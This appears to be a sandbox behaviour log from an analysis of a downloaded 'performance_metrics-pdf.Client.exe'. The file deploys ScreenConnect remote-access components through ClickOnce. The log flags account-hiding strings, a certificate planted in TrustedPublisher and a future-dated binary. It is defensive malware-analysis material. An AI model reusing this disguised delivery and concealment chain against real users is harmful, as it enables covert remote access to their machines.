Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6080 --field-trial-handle=1968,i,9071979778886371856,12710523717943567296,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Users\user\Downloads\performance_metrics-pdf.Client.exe "C:\Users\user\Downloads\performance_metrics-pdf.Client.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Downloads\performance_metrics-pdf.Client.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"	Jump to behavior

Source: C:\Users\user\Downloads\performance_metrics-pdf.Client.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Downloads\performance_metrics-pdf.Client.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Downloads\performance_metrics-pdf.Client.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Downloads\performance_metrics-pdf.Client.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Downloads\performance_metrics-pdf.Client.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Downloads\performance_metrics-pdf.Client.exe	Section loaded: dfshim.dll	Jump to behavior
Source: C:\Users\user\Downloads\performance_metrics-pdf.Client.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Downloads\performance_metrics-pdf.Client.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Downloads\performance_metrics-pdf.Client.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Downloads\performance_metrics-pdf.Client.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Downloads\performance_metrics-pdf.Client.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Downloads\performance_metrics-pdf.Client.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Downloads\performance_metrics-pdf.Client.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Downloads\performance_metrics-pdf.Client.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: dfshim.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: uiautomationcore.dll	Jump to behavior

Source: C:\Users\user\Downloads\performance_metrics-pdf.Client.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00020420-0000-0000-C000-000000000046}\InprocServer32

Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsFileManager\obj\Release\ScreenConnect.WindowsFileManager.pdb source: ScreenConnect.WindowsFileManager.exe.13.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\ClickOnceRunner\Release\ClickOnceRunner.pdb source: performance_metrics-pdf.Client.exe, 0000000C.00000000.1705193786.000000000002B000.00000002.00000001.01000000.00000006.sdmp, chromecache_133.1.dr, Unconfirmed 182746.crdownload.0.dr
Source:	Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetServiceRunner.pdb source: ScreenConnect.ClientService.exe.13.dr
Source:	Binary string: mscorlib.pdb source: dfsvc.exe, 0000000D.00000002.2413653938.00000296B5FB7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdb source: dfsvc.exe, 0000000D.00000002.2401389588.000002969C163000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C08A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD33000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.Windows.dll.13.dr
Source:	Binary string: System.Deployment.resources.pdbCA source: dfsvc.exe, 0000000D.00000002.2415067209.00000296B6167000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.pdb source: dfsvc.exe, 0000000D.00000002.2410268962.00000296B455F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsBackstageShell\obj\Release\ScreenConnect.WindowsBackstageShell.pdb source: ScreenConnect.WindowsBackstageShell.exe.13.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdbS] source: dfsvc.exe, 0000000D.00000002.2401389588.000002969C163000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C08A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD33000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.Windows.dll.13.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbI\ source: dfsvc.exe, 0000000D.00000002.2415067209.00000296B60E3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdb source: ScreenConnect.WindowsClient.exe.13.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdbi source: dfsvc.exe, 0000000D.00000002.2401389588.000002969C082000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BCCB000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD4B000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.Client.dll.13.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdbu source: ScreenConnect.WindowsClient.exe.13.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbS_N source: dfsvc.exe, 0000000D.00000002.2415067209.00000296B60E3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdb source: dfsvc.exe, 0000000D.00000002.2401389588.000002969C082000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BCCB000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD4B000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.Client.dll.13.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.pdb8 source: dfsvc.exe, 0000000D.00000002.2410268962.00000296B455F000.00000004.00000020.00020000.00000000.sdmp

Source: ScreenConnect.WindowsBackstageShell.exe.13.dr

Static PE information: 0x802B6300 [Sun Feb 21 01:04:00 2038 UTC]

Source: Unconfirmed 182746.crdownload.0.dr	Static PE information: real checksum: 0x1cb11 should be: 0x1b6fe
Source: ScreenConnect.Client.dll.13.dr	Static PE information: real checksum: 0x39223 should be: 0x339e5
Source: chromecache_133.1.dr	Static PE information: real checksum: 0x1cb11 should be: 0x1b6fe
Source: cdca2320-d5b8-4397-ac43-80bc6a1d7245.tmp.0.dr	Static PE information: real checksum: 0x1cb11 should be: 0x6962

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 13_2_00007FFEB8AE18C9 push 8BF88B5Fh; iretd	13_2_00007FFEB8AE18D0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 13_2_00007FFEB8AE8402 push eax; ret	13_2_00007FFEB8AE840D
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 13_2_00007FFEB8AE6BB3 push ecx; retf	13_2_00007FFEB8AE6BB4
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 13_2_00007FFEB8AE7638 pushad ; ret	13_2_00007FFEB8AE7639

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\E4P26GMD.T7C\TNP7A9PA.R7Z\ScreenConnect.WindowsBackstageShell.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\E4P26GMD.T7C\TNP7A9PA.R7Z\ScreenConnect.WindowsFileManager.exe	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\Downloads\cdca2320-d5b8-4397-ac43-80bc6a1d7245.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\E4P26GMD.T7C\TNP7A9PA.R7Z\ScreenConnect.WindowsClient.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\E4P26GMD.T7C\TNP7A9PA.R7Z\ScreenConnect.Windows.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\E4P26GMD.T7C\TNP7A9PA.R7Z\ScreenConnect.ClientService.exe	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\Downloads\Unconfirmed 182746.crdownload	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\Downloads\performance_metrics-pdf.Client.exe (copy)	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: Chrome Cache Entry: 133	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\E4P26GMD.T7C\TNP7A9PA.R7Z\ScreenConnect.Client.dll	Jump to dropped file

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: Chrome Cache Entry: 133
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: Chrome Cache Entry: 133			Jump to dropped file

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Contains functionality to hide user accounts

Source: ScreenConnect.Windows.dll.13.dr

String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList

Source: C:\Users\user\Downloads\performance_metrics-pdf.Client.exe

Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C Blob

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
